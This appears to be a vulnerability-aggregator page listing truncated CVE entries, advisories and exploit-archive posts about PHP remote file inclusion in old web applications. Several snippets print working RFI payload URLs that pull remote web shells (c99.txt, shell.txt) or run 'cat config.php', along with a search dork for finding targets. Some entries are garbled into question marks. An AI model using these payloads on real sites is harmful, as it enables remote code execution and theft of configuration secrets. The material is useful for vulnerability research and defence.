CVE-2007-5754: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in urlinnincludes/config.php in phpFaber URLInn 2.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the dirws parameter...

CaupoShop Pro 2.x - 'action' Remote File Inclusion

ork:allinurl:index.php?action= basket sid vuln:index.php?action= examples: http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php author:[email protected] site:http://mozi.rootmybox.org support:http://darkc0de.com & whoami milw0rm.com 2007-10-28...

litespeed-disclose.txt

| | |--.-----.| .-----.' |.---.-.----.-----.--| | | | | | -|| -- | -| || | | -| | || |||||/||| |.|||| TheDefaced.org TheDefaced Security Team Presents An 0-day. LiteSpeed Remote Mime Type Injection Discovered by:Tr3mbl3r Shouts to his kitty kats and tacos. Product: LiteSpeed/Discovered in ==3.2.3...

CVE-2002-2298: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in config.php in Thatware 0.3 through 0.5.3 allows remote attackers to execute arbitrary PHP code via the rootpath parameter...

openSUSE 10 Security Update : moodle (moodle-3959)

This update fixes the following issues : - possible remote file inclusion CVE-2007-1429 - XSS injection in SCORM 1.2 reports - Fixed XSS in login block Additionally changes : - Fixed visibility of site blogs - moodle-config.php is now located in /etc/moodle/ - added safemode and session.savehandl...

CVE-2007-5313

CVE-2007-5313 affects Picturesolution 2.1 and earlier. It is a PHP remote file inclusion vulnerability in install/config.php that allows an attacker to execute arbitrary PHP code by supplying a URL in the path parameter. Exploitation details beyond this description are not provided in the connect...

CVE-2007-5313: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in install/config.php in Picturesolution 2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...

Picturesolution Config.PHP远程文件包含漏洞

Picturesolution是一款基于PHP的WEB应用程序。 Picturesolution不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是由于'Config.PHP'脚本对用户提交的'path'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以以WEB权限执行任意命令。 Script-solution.de Picturesolution 2.1 目前没有解决方案提供： http://www.script-solution.de/ger-products-1.html...

Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln

No description provided by source. Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit : /install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt? Examp...

Picturesolution 2.1 - config.php?path Remote File Inclusion

Picturesolution 2.1 - config.php?path Remote File Inclusion Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit :...

Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications ==================================================================== Picturesolution = v2.1 config.php path Remote File Inclusion Vuln ==================================================================== Picturesolution = v2.1 config.php...

Chupix CMS 0.2.3 - 'repertoire' Remote File Inclusion

chupix 0.2.3 /admin/include/header.php RFI f0und by 0in contact: [email protected] Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex team:Our Dark-Coders team; --------------------------------------------------------------------------------------------------------------------...

xcart-rfi.txt

xCart Remote file inclusion Download script : http://www.x-cart.com// Discovered By : aLiiF a.k.a arif @debuteam 07/09/2007 HomePage : http://www.debuteam.net// Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0ng0ku^ Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKey s3ng0k homeedition Holong...

squirrelcart-rfi.txt

Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems...

FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability

No description provided by source. ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

CVE-2007-4279

CVE-2007-4279 describes a PHP remote file inclusion in FrontAccounting 1.12 Build 31, exploitable via a URL in the path_to_root parameter to config.php. Connected records reiterate multiple related RFIs in FrontAccounting 1.12/1.13 across various scripts (e.g., access/logout.php, admin/, language...

CVE-2007-4279: Undefined Security Weakness

PHP remote file inclusion vulnerability in config.php in FrontAccounting 1.12 Build 31 allows remote attackers to execute arbitrary PHP code via a URL in the pathtoroot parameter...

FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================= FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability ================================================================= ?????????? ???????????????...

FrontAccounting 1.12 build 31 - Remote File Inclusion

FrontAccounting 1.12 build 31 - Remote File Inclusion ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

FrontAccounting 1.12 build 31 - Remote File Inclusion

?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ????????????????????????????????????? ???????????????????????????????????????...